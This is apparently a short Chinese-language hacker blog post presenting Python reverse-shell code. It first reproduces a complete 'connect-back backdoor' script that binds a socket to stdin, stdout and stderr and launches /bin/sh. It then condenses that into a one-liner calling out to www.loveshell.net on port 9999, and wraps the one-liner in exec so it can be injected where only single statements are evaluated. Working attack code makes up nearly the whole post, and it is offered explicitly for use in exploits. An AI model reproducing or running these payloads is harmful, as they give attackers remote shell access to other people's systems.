不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006/n"
print "Usage: %s <conn_back_host> <port>/n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------/n")
s.send("----------------------------- By wofeiwo -----------------------------/n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master/r/n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?/r/n");os.system("/bin/bash");s.close();s.send("See u next time!/r/n");
如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master//r//n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?//r//n");os.system("/bin/bash");s.close();s.send("See u next time!//r//n");';